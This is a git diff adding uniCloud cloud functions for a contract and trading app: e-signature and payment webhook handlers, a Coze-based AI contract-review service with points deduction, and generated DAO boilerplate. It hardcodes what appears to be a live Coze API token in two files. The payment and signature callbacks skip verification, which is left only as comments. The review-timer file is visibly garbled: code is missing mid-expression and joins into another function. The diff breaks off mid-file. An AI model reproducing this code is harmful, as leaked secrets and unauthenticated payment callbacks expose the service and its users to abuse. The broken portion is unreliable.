diff --git a/uniCloud-tcb/cloudfunctions/fadada_contract_notify/index.js b/uniCloud-tcb/cloudfunctions/fadada_contract_notify/index.js
new file mode 100644
index 0000000..068e796
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/fadada_contract_notify/index.js
@@ -0,0 +1,23 @@
+'use strict';
+const querystring = require('querystring');
+exports.main = async (event, context) => {
+ //event为客户端上传的参数
+ console.log('event : ', event)
+ const {
+ body
+ } = event
+
+ let obj = querystring.parse(body);
+ // 验证签名
+ // Base64(SHA1(app_id +MD5(timestamp)+SHA1(app_secret+authenticationType+certStatus+customerId+serialNo+status+statusDesc)))
+
+ let callFunctionRes = await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/fadada.pub_contractNotify",
+ data: obj
+ }
+ });
+
+ return callFunctionRes
+};
diff --git a/uniCloud-tcb/cloudfunctions/fadada_contract_notify/package.json b/uniCloud-tcb/cloudfunctions/fadada_contract_notify/package.json
new file mode 100644
index 0000000..6aa6125
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/fadada_contract_notify/package.json
@@ -0,0 +1,7 @@
+{
+ "name": "fadada_contract_notify",
+ "dependencies": {},
+ "extensions": {
+ "uni-cloud-jql": {}
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/fadada_verify_notify/index.js b/uniCloud-tcb/cloudfunctions/fadada_verify_notify/index.js
new file mode 100644
index 0000000..0ff7638
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/fadada_verify_notify/index.js
@@ -0,0 +1,24 @@
+'use strict';
+const querystring = require('querystring');
+exports.main = async (event, context) => {
+ //event为客户端上传的参数
+ console.log('event : ', event)
+ const {
+ body
+ } = event
+
+ let obj = querystring.parse(body);
+ console.log('fadada origin obj : ', obj)
+ // 验证签名
+ // Base64(SHA1(app_id +MD5(timestamp)+SHA1(app_secret+authenticationType+certStatus+customerId+serialNo+status+statusDesc)))
+
+ let callFunctionRes = await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/fadada.pub_verifyNotify",
+ data: obj
+ }
+ });
+
+ return callFunctionRes
+};
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/fadada_verify_notify/package.json b/uniCloud-tcb/cloudfunctions/fadada_verify_notify/package.json
new file mode 100644
index 0000000..0a2c8a5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/fadada_verify_notify/package.json
@@ -0,0 +1,7 @@
+{
+ "name": "fadada_verify_notify",
+ "dependencies": {},
+ "extensions": {
+ "uni-cloud-jql": {}
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/jjxReviewStream/config.json b/uniCloud-tcb/cloudfunctions/jjxReviewStream/config.json
new file mode 100644
index 0000000..26bcc55
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/jjxReviewStream/config.json
@@ -0,0 +1,12 @@
+{
+ "triggers": [
+ {
+ "name": "http",
+ "type": "http",
+ "config": {
+ "path": "/review-stream",
+ "method": ["POST"]
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/jjxReviewStream/index.js b/uniCloud-tcb/cloudfunctions/jjxReviewStream/index.js
new file mode 100644
index 0000000..6abcd12
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/jjxReviewStream/index.js
@@ -0,0 +1,106 @@
+'use strict';
+
+exports.main = async (event, context) => {
+ // uniCloud HTTP 触发器:event 本身就是请求信息
+ // event.httpMethod = 'GET'/'POST'/'OPTIONS'
+ // event.body = 请求体
+ // event.headers = 请求头
+ // context.callbackWaitsForEmptyEventLoop = true 保持连接
+
+ const corsHeaders = {
+ 'Access-Control-Allow-Origin': '*',
+ 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
+ 'Access-Control-Allow-Headers': 'Content-Type, Authorization',
+ 'Access-Control-Max-Age': '86400'
+ };
+
+ // 处理 CORS 预检
+ if (event.httpMethod === 'OPTIONS') {
+ return {
+ statusCode: 204,
+ headers: corsHeaders,
+ body: ''
+ };
+ }
+
+ // 设置等待空事件循环(保持 SSE 连接)
+ context.callbackWaitsForEmptyEventLoop = false;
+
+ // 解析请求体
+ let body = {};
+ try {
+ const raw = event.body || '';
+ if (event.isBase64Encoded) {
+ body = JSON.parse(Buffer.from(raw, 'base64').toString());
+ } else {
+ try { body = JSON.parse(raw); } catch (e) {
+ const params = new URLSearchParams(raw);
+ for (const [k, v] of params) body[k] = v;
+ }
+ }
+ } catch (e) {}
+
+ const { file_id, user_id, file_name, file_size, record_id } = body;
+
+ if (!file_id) {
+ return {
+ statusCode: 400,
+ headers: { ...corsHeaders, 'Content-Type': 'application/json' },
+ body: JSON.stringify({ error: '缺少 file_id' })
+ };
+ }
+
+ const COZE_TOKEN = 'sat_OiXlI4Da5Q99fxmul6pNfExmA6hR898UbxBDwrvjZ638APxRSlFnXbz6zyFedKNG';
+ const BOT_ID = '7689821072762011698';
+
+ const objectString = JSON.stringify([
+ { type: 'file', file_id: file_id },
+ { type: 'text', text: '请审查这份合同' }
+ ]);
+
+ // 调用扣子(流式)
+ try {
+ const chatRes = await uniCloud.httpclient.request('https://api.coze.cn/v3/chat', {
+ method: 'POST',
+ dataType: 'text',
+ contentType: 'json',
+ timeout: 300000,
+ headers: { 'Authorization': 'Bearer ' + COZE_TOKEN },
+ data: {
+ bot_id: BOT_ID,
+ user_id: user_id || 'anonymous',
+ stream: true,
+ auto_save_history: true,
+ additional_messages: [{
+ role: 'user',
+ content: objectString,
+ content_type: 'object_string'
+ }]
+ }
+ });
+
+ // 返回 SSE 格式
+ const text = chatRes.data || '';
+ const sseBody = text.split('\n').map(line => {
+ if (line.startsWith('data:')) return line + '\n\n';
+ return '';
+ }).join('') + 'data: [DONE]\n\n';
+
+ return {
+ statusCode: 200,
+ headers: {
+ ...corsHeaders,
+ 'Content-Type': 'text/event-stream',
+ 'Cache-Control': 'no-cache',
+ 'Connection': 'keep-alive'
+ },
+ body: sseBody
+ };
+ } catch (e) {
+ return {
+ statusCode: 500,
+ headers: { ...corsHeaders, 'Content-Type': 'application/json' },
+ body: JSON.stringify({ error: e.message })
+ };
+ }
+};
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/jjxReviewStream/package.json b/uniCloud-tcb/cloudfunctions/jjxReviewStream/package.json
new file mode 100644
index 0000000..85ab71b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/jjxReviewStream/package.json
@@ -0,0 +1,6 @@
+{
+ "name": "jjxReviewStream",
+ "version": "1.0.0",
+ "description": "合同审查流式输出云函数",
+ "main": "index.js"
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/jjxReviewTimer/index.js b/uniCloud-tcb/cloudfunctions/jjxReviewTimer/index.js
new file mode 100644
index 0000000..1034e80
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/jjxReviewTimer/index.js
@@ -0,0 +1,239 @@
+'use strict';
+
+// 定时任务:每分钟检查 reviewing 状态的记录,触发审查
+const db = uniCloud.database();
+const _ = db.command;
+
+// 导入审查执行函数(从 router 的 service 目录)
+// 注意:定时任务是独立云函数,不能直接 require router 的 service
+// 所以把审查逻辑直接写在这里
+
+const COZE_TOKEN = 'sat_OiXlI4Da5Q99fxmul6pNfExmA6hR898UbxBDwrvjZ638APxRSlFnXbz6zyFedKNG';
+const BOT_ID = '7689821072762011698';
+
+async function doReview(record) {
+ const { _id: record_id, file_id, user_id, file_name, file_size } = record;
+
+ const objectString = JSON.stringify([
+ { type: 'file', file_id: file_id },
+ { type: 'text', text: '请审查这份合同' }
+ ]);
+
+ try {
+ // 1. 非流式发起对话(立即返回 chat_id)
+ const chatRes = await uniCloud.httpclient.request('https://api.coze.cn/v3/chat', {
+ method: 'POST',
+ dataType: 'json',
+ contentType: 'json',
+ timeout: 30000,
+ headers: { 'Authorization': 'Bearer ' + COZE_TOKEN },
+ data: {
+ bot_id: BOT_ID,
+ user_id: user_id || 'anonymous',
+ stream: false,
+ auto_save_history: true,
+ additional_messages: [{
+ role: 'user',
+ content: objectString,
+ content_type: 'object_string'
+ }]
+ }
+ });
+
+ const chatData = chatRes.data && chatRes.data.data;
+ const chatId = chatData && chatData.id;
+ const conversationId = chatData && chatData.conversation_id;
+ console.log('[审查] chat_id:', chatId, 'conversation_id:', conversationId);
+
+ if (!chatId) {
+ throw new Error('未获取到 chat_id: ' + JSON.stringify(chatRes.data));
+ }
+
+ // 保存 chat_id 和 conversation_id 到数据库
+ await db.collection('jjx-review-records').doc(record_id).update({
+ chat_id: chatId,
+ conversation_id: conversationId || '',
+ update_time: new Date()
+ });
+ console.log('[审查] 已保存 chat_id:', chatId);
+
+ // 2. 轮询对话状态(每5秒查一次,最多5分钟)
+ let answer = '';
+ let tokenCount = 0;
+ for (let i = 0; i < 60; i++) {
+ await new Promise(r => setTimeout(r, 5000));
+
+ const statusRes = await uniCloud.httpclient.request(
+ 'https://api.coze.cn/v3/chat/retrieve?chat_id=' + chatId + '&conversation_id=' + conversationId,
+ { method: 'GET', dataType: 'json', headers: { 'Authorization': 'Bearer ' + COZE_TOKEN }, timeout: 15000 }
+ );
+
+ const status = statusRes.data && statusRes.data.data && statusRes.data.data.status;
+ console.log('[审查] 第', i + 1, '次轮询, 状态:', status);
+
+ if (status === 'completed') {
+ // 保存 token 消耗信息
+ const usage = statusRes.data && statusRes.data.data && statusRes.data.data.usage;
+ tokenCount = (usage && usage.token_count) || 0;
+ console.log('[审查] Token 消耗:', tokenCount);
+
+ // 3. 获取消息列表
+ const msgRes = await uniCloud.httpclient.request(
+ 'https://api.coze.cn/v3/chat/message/list?chat_id=' + chatId + '&conversation_id=' + conversationId,
+ { method: 'GET', dataType: 'json', headers: { 'Authorization': 'Bearer ' + COZE_TOKEN }, timeout: 15000 }
+ );
+
+ const messages = msgRes.data && msgRes.data.data;
+ if (Array.isArray(messages)) {
+ for (const msg of messages) {
+ if (msg.type === 'answer' && msg.role === 'assistant' && msg.content) {
+ answer = msg.content; // answer 类型的完整内容
+ }
+ if (msg.type === 'tool_response' && msg.content) {
+ try {
+ const toolData = JSON.parse(msg.content);
+ if (toolData.url) answer += '\n\n📎 报告下载:' + toolData.url;
+ } catch (e) {}
+ }
+ }
+ }
+ break;
+ }
+
+ if (status === 'failed') {
+ throw new Error('对话失败');
+ }
+ }
+
+ if (!answer) answer = '审查未能获取结果,请稍后重试';
+ console.log('[审查] 结果长度:', answer.length);
+
+ // 计算消耗积分
+ // 积分 = token消耗 / 100(最低1积分)
+ const pointsUsed = Math.max(1, Math.round(tokenCount / 100));
+ console.log('[积分] token_count:', tokenCount, '→ 扣除积分:', pointsUsed);
+
+ // 扣积分
+ const userPoints = await db.collection('jjx-user-points').doc(user_id).get();
+ if (userPoints.data.length && userPoints.data[0].balance >= pointsUsed) {
+ await db.collection('jjx-user-points').doc(user_id).update({
+ balance: _.inc(-pointsUsed),
+ total_spent: _.inc(pointsUsed),
+ update_time: new Date()
+ });
+ const updatedPoints = await db.collection('jjx-user-points').doc(user_id).get();
+ await db.collection('jjx-points-log').add({
+ user_id: user_id,
+ type: 'spend',
+ amount: -pointsUsed,
+ balance_after: updatedPoints.data[0] ? updatedPoints.data[0].balance : 0,
+ reason: '合同审查 — ' + (file_name || '') + '(' + tokenCount + ' token)',
+ biz_type: 'contract_review',
+ biz_id: record_id,
+ _add_time: new Date()
+ });
+ }
+
+ // 保存 HTML 报告到云存储
+ let htmlUrl = '';
+ try {
+ let htmlContent = answer;
+ const htmlMatch = answer.match(/```html\s*([\s\S]*?)```/);
+ if (htmlMatch && htmlMatch[1]) htmlContent = htmlMatch[1].trim();
+
+ if (htmlContent.includes(' {
+ // 先把卡在 processing 超过10分钟的记录重置为 reviewing(超时保护)
+ const tenMinutesAgo = new Date(Date.now() - 10 * 60 * 1000);
+ const stuckRecords = await db.collection('jjx-review-records')
+ .where({ status: 'processing', update_time: _.lt(tenMinutesAgo) })
+ .get();
+ for (const stuck of stuckRecords.data) {
+ await db.collection('jjx-review-records').doc(stuck._id).update({
+ status: 'reviewing',
+ update_time: new Date()
+ });
+ }
+
+ // 查询所有 reviewing 状态的记录(超过1分钟的,避免重复触发)
+ const oneMinuteAgo = new Date(Date.now() - 60 * 1000);
+
+ const pendingRecords = await db.collection('jjx-review-records')
+ .where({
+ status: 'reviewing',
+ review_started_at: _.lt(oneMinuteAgo)
+ })
+ .limit(5) // 每次最多处理5条
+ .get();
+
+ if (!pendingRecords.data.length) {
+ return { code: 0, msg: '无待处理记录' };
+ }
+
+ console.log('发现待处理审查记录:', pendingRecords.data.length, '条');
+
+ // 逐条处理(串行,避免并发问题)
+ const results = [];
+ for (const record of pendingRecords.data) {
+ // 先标记为 processing,避免重复触发
+ await db.collection('jjx-review-records').doc(record._id).update({
+ status: 'processing',
+ update_time: new Date()
+ });
+
+ try {
+ const result = await doReview(record);
+ results.push({ record_id: record._id, ...result });
+ } catch (e) {
+ // 审查失败,重置为 reviewing 以便下次重试
+ await db.collection('jjx-review-records').doc(record._id).update({
+ status: 'reviewing',
+ update_time: new Date()
+ });
+ console.error('审查异常,已重置状态:', record._id, e.message);
+ results.push({ record_id: record._id, code: -1, msg: e.message });
+ }
+ }
+
+ return { code: 0, msg: '处理完成', data: results };
+};
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/jjxReviewTimer/jjxReviewTimer.param.json b/uniCloud-tcb/cloudfunctions/jjxReviewTimer/jjxReviewTimer.param.json
new file mode 100644
index 0000000..0f56b5c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/jjxReviewTimer/jjxReviewTimer.param.json
@@ -0,0 +1,4 @@
+// 本文件中的json内容将在云函数【运行】时作为参数传给云函数。
+// 配置教程参考:https://uniapp.dcloud.net.cn/uniCloud/rundebug.html#runparam
+{
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/jjxReviewTimer/package.json b/uniCloud-tcb/cloudfunctions/jjxReviewTimer/package.json
new file mode 100644
index 0000000..3ba759e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/jjxReviewTimer/package.json
@@ -0,0 +1,19 @@
+{
+ "name": "jjxReviewTimer",
+ "version": "1.0.0",
+ "description": "合同审查定时任务",
+ "main": "index.js",
+ "cloudfunction-config": {
+ "memorySize": 256,
+ "timeout": 600,
+ "triggers": [
+ {
+ "name": "myTrigger",
+ "type": "timer",
+ "config": "0 */1 * * * * *"
+ }
+ ],
+ "path": "",
+ "runtime": "Nodejs16"
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/pay_notify/index.js b/uniCloud-tcb/cloudfunctions/pay_notify/index.js
new file mode 100644
index 0000000..96d452e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/pay_notify/index.js
@@ -0,0 +1,25 @@
+'use strict';
+const querystring = require('querystring');
+exports.main = async (event, context) => {
+ //event为客户端上传的参数
+ console.log('event : ', event)
+ const {
+ body
+ } = event
+
+ const obj = querystring.parse(body);
+ // // 验证签名
+ // // Base64(SHA1(app_id +MD5(timestamp)+SHA1(app_secret+authenticationType+certStatus+customerId+serialNo+status+statusDesc)))
+ //
+ await uniCloud.callFunction({
+ name: "router",
+ data: {
+ $url: "client/payment.pub_payNotify",
+ data: obj
+ }
+ });
+ //
+ // return callFunctionRes
+ // console.log(obj)
+ return 'SUCCESS'
+};
diff --git a/uniCloud-tcb/cloudfunctions/pay_notify/package.json b/uniCloud-tcb/cloudfunctions/pay_notify/package.json
new file mode 100644
index 0000000..d815755
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/pay_notify/package.json
@@ -0,0 +1,7 @@
+{
+ "name": "pay_notify",
+ "dependencies": {},
+ "extensions": {
+ "uni-cloud-jql": {}
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/dao/config.js b/uniCloud-tcb/cloudfunctions/router/dao/config.js
new file mode 100644
index 0000000..385ac2d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/dao/config.js
@@ -0,0 +1,17 @@
+'use strict';
+// 涉及的表名
+const dbName = {
+ spotCategory: "jjx-spot-category", //商品-分类表
+ spotGoods: "jjx-spot-goods", //商品-现货表
+ contract: "jjx-contract", // 合同
+ userContract: "jjx-user-contract", // 用户合同
+ enquirySheet: "jjx-enquiry-sheet", // 询价单
+ enquiryQuote: "jjx-enquiry-quotre", // 报价单
+ enquiryTemplate: "jjx-enquiry-template", // 询价模板
+ enquiryAttributes: "jjx-enquiry-attributes", // 询价模板属性
+ user: "uni-id-users", //用户
+ seal: "jjx-seal", //印章
+ processSheet: "jjx-process-sheet", //找加工
+ processQuote: "jjx-process-quote", //找加工报价单
+};
+module.exports = dbName;
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/dao/modules/contractDao.js b/uniCloud-tcb/cloudfunctions/router/dao/modules/contractDao.js
new file mode 100644
index 0000000..1ab4072
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/dao/modules/contractDao.js
@@ -0,0 +1,463 @@
+/**
+ *
+ */
+// 涉及的表名
+const dbName = {
+ contractDao: "jjx-contract", // 请在此处填写表中文含义
+};
+
+var dao = {};
+var util = {};
+// 初始化
+dao.init = function(obj) {
+ util = obj;
+}
+/**
+ * 查 - 根据id获取单条记录
+ * @param {String} _id
+ * @param {Object} fieldJson 字段显示规则
+ * 调用示例
+ * let contractDaoInfo = await vk.daoCenter.contractDaoDao.findById(_id);
+ * 或
+ let contractDaoInfo = await vk.daoCenter.contractDaoDao.findById({
+ db: transaction,
+ id: _id
+ });
+ */
+dao.findById = async (_id, fieldJson) => {
+ let { vk, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ if (typeof _id === "object") {
+ // 支持事务
+ res = await vk.baseDao.findById({
+ ..._id,
+ dbName: dbName.contractDao,
+ });
+ } else {
+ // 不支持事务
+ res = await vk.baseDao.findById({
+ dbName: dbName.contractDao,
+ id: _id,
+ fieldJson
+ });
+ }
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+/**
+ * 查 - 根据whereJson获取单条记录
+ * @param {Object} whereJson 条件
+ * @param {Object} fieldJson 字段显示规则
+ * 调用示例
+let contractDaoInfo = await vk.daoCenter.contractDaoDao.findByWhereJson({
+
+});
+ */
+dao.findByWhereJson = async (whereJson, fieldJson) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.findByWhereJson({
+ dbName: dbName.contractDao,
+ whereJson,
+ fieldJson
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 增 - 添加一条记录
+ * @param {Object} dataJson 添加的数据
+ * 调用示例
+await vk.daoCenter.contractDaoDao.add({
+
+});
+或
+ * 调用示例
+await vk.daoCenter.contractDaoDao.add({
+ db: transaction,
+ dataJson: {
+
+ }
+});
+ */
+dao.add = async (obj) => {
+ let { vk, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ if (obj.db && obj.dataJson) {
+ // 支持事务
+ res = await vk.baseDao.add({
+ ...obj,
+ dbName: dbName.contractDao,
+ });
+ } else {
+ // 不支持事务
+ res = await vk.baseDao.add({
+ dbName: dbName.contractDao,
+ dataJson: obj
+ });
+ }
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 增 - 添加多条记录
+ * @param {Object} dataJson 添加的数据
+ * 调用示例
+await vk.daoCenter.contractDaoDao.adds(dataArr);
+ */
+dao.adds = async (dataArr) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.adds({
+ dbName: dbName.contractDao,
+ dataJson: dataArr
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 删 - 删除多条记录
+ * @param {Object} whereJson 条件
+ * 调用示例
+await vk.daoCenter.contractDaoDao.del({
+
+});
+ */
+dao.del = async (whereJson) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.del({
+ dbName: dbName.contractDao,
+ whereJson
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 删 - 据ID删除单条数据
+ * @param {String} _id
+ * 调用示例
+await vk.daoCenter.contractDaoDao.deleteById(_id);
+或
+await vk.daoCenter.contractDaoDao.deleteById(_id, transaction);
+ */
+dao.deleteById = async (_id, db) => {
+ let { vk, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.deleteById({
+ db,
+ dbName: dbName.contractDao,
+ id: _id
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 改 - 批量修改
+ * @param {Object} whereJson 条件
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.contractDaoDao.update({
+ whereJson:{
+
+ },
+ dataJson:{
+
+ }
+});
+ */
+dao.update = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.update({
+ ...obj,
+ dbName: dbName.contractDao,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+
+/**
+ * 改 - 根据ID修改数据
+ * @param {String} _id
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.contractDaoDao.updateById({
+ id: _id,
+ dataJson: {
+
+ }
+});
+ */
+dao.updateById = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.updateById({
+ ...obj,
+ dbName: dbName.contractDao
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 改 - 更新并返回更新后的数据(无论条件匹配到多少条记录,只会修改第一条记录,同时返回修改后的数据)
+ * @param {Object} whereJson 条件
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.contractDaoDao.updateAndReturn({
+ whereJson:{
+
+ },
+ dataJson:{
+
+ }
+});
+ */
+dao.updateAndReturn = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.updateAndReturn({
+ ...obj,
+ dbName: dbName.contractDao
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 根据ID判断存在则修改,不存在则添加
+ * @param {String} id 如果传了id参数,则会与dataJson中的_id判断是否一致,不一致会报错
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.contractDaoDao.setById({
+ dataJson: {
+
+ }
+});
+ */
+dao.setById = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.setById({
+ ...obj,
+ dbName: dbName.contractDao
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 获取记录总条数
+ * @param {Object} whereJson 条件
+ * 调用示例
+await vk.daoCenter.contractDaoDao.count(whereJson);
+ */
+dao.count = async (whereJson) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.count({
+ dbName: dbName.contractDao,
+ whereJson
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求和
+ * @param {String} fieldName 需要求和的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let contractDaoSum = await vk.daoCenter.contractDaoDao.sum({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.sum = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.sum({
+ ...obj,
+ dbName: dbName.contractDao,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求最大值
+ * @param {String} fieldName 需要求最大值的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let contractDaoMax = await vk.daoCenter.contractDaoDao.max({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.max = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.max({
+ ...obj,
+ dbName: dbName.contractDao,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求最小值
+ * @param {String} fieldName 需要求最小值的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let contractDaoMin = await vk.daoCenter.contractDaoDao.min({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.min = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.min({
+ ...obj,
+ dbName: dbName.contractDao,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求最平均值
+ * @param {String} fieldName 需要求最平均值的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let contractDaoAvg = await vk.daoCenter.contractDaoDao.avg({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.avg = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.avg({
+ ...obj,
+ dbName: dbName.contractDao,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+
+/**
+ * 查 - 获取数据列表
+ * 调用示例
+let contractDaoList = await vk.daoCenter.contractDaoDao.select({
+ pageIndex:1,
+ pageSize:20,
+ getMain:false,
+ whereJson:{
+
+ },
+ fieldJson:{},
+ sortArr: [{"name": "_add_time", "type":"desc" }],
+});
+ */
+dao.select = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.select({
+ ...obj,
+ dbName: dbName.contractDao
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 获取数据列表
+ * 调用示例
+let contractDaoList = await vk.daoCenter.contractDaoDao.selects({
+ pageIndex:1,
+ pageSize:20,
+ getMain:false,
+ whereJson:{
+
+ },
+ fieldJson:{},
+ sortArr: [{"name": "_add_time", "type":"desc" }],
+ // 副表列表
+ foreignDB:[
+ {
+ dbName:"副表表名",
+ localKey:"主表外键名",
+ foreignKey:"副表外键名",
+ as:"副表as字段",
+ limit:1
+ }
+ ]
+});
+ */
+dao.selects = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.selects({
+ ...obj,
+ dbName: dbName.contractDao
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 获取数据列表
+ * 调用示例
+res = await vk.daoCenter.contractDaoDao.getTableData({
+ data
+});
+ */
+dao.getTableData = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.getTableData({
+ ...obj,
+ dbName: dbName.contractDao
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+
+module.exports = dao;
diff --git a/uniCloud-tcb/cloudfunctions/router/dao/modules/userContractDao.js b/uniCloud-tcb/cloudfunctions/router/dao/modules/userContractDao.js
new file mode 100644
index 0000000..20d2896
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/dao/modules/userContractDao.js
@@ -0,0 +1,461 @@
+/**
+ *
+ */
+// 涉及的表名
+const dbName = {
+ userContract: "jjx-user-contract", // 用户合同关联表
+};
+
+var dao = {};
+var util = {};
+// 初始化
+dao.init = function(obj) {
+ util = obj;
+}
+/**
+ * 查 - 根据id获取单条记录
+ * @param {String} _id
+ * @param {Object} fieldJson 字段显示规则
+ * 调用示例
+ * let userContractInfo = await vk.daoCenter.userContractDao.findById(_id);
+ * 或
+ let userContractInfo = await vk.daoCenter.userContractDao.findById({
+ db: transaction,
+ id: _id
+ });
+ */
+dao.findById = async (_id, fieldJson) => {
+ let { vk, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ if (typeof _id === "object") {
+ // 支持事务
+ res = await vk.baseDao.findById({
+ ..._id,
+ dbName: dbName.userContract,
+ });
+ } else {
+ // 不支持事务
+ res = await vk.baseDao.findById({
+ dbName: dbName.userContract,
+ id: _id,
+ fieldJson
+ });
+ }
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+/**
+ * 查 - 根据whereJson获取单条记录
+ * @param {Object} whereJson 条件
+ * @param {Object} fieldJson 字段显示规则
+ * 调用示例
+let userContractInfo = await vk.daoCenter.userContractDao.findByWhereJson({
+
+});
+ */
+dao.findByWhereJson = async (whereJson, fieldJson) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.findByWhereJson({
+ dbName: dbName.userContract,
+ whereJson,
+ fieldJson
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 增 - 添加一条记录
+ * @param {Object} dataJson 添加的数据
+ * 调用示例
+await vk.daoCenter.userContractDao.add({
+
+});
+或
+ * 调用示例
+await vk.daoCenter.userContractDao.add({
+ db: transaction,
+ dataJson: {
+
+ }
+});
+ */
+dao.add = async (obj) => {
+ let { vk, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ if (obj.db && obj.dataJson) {
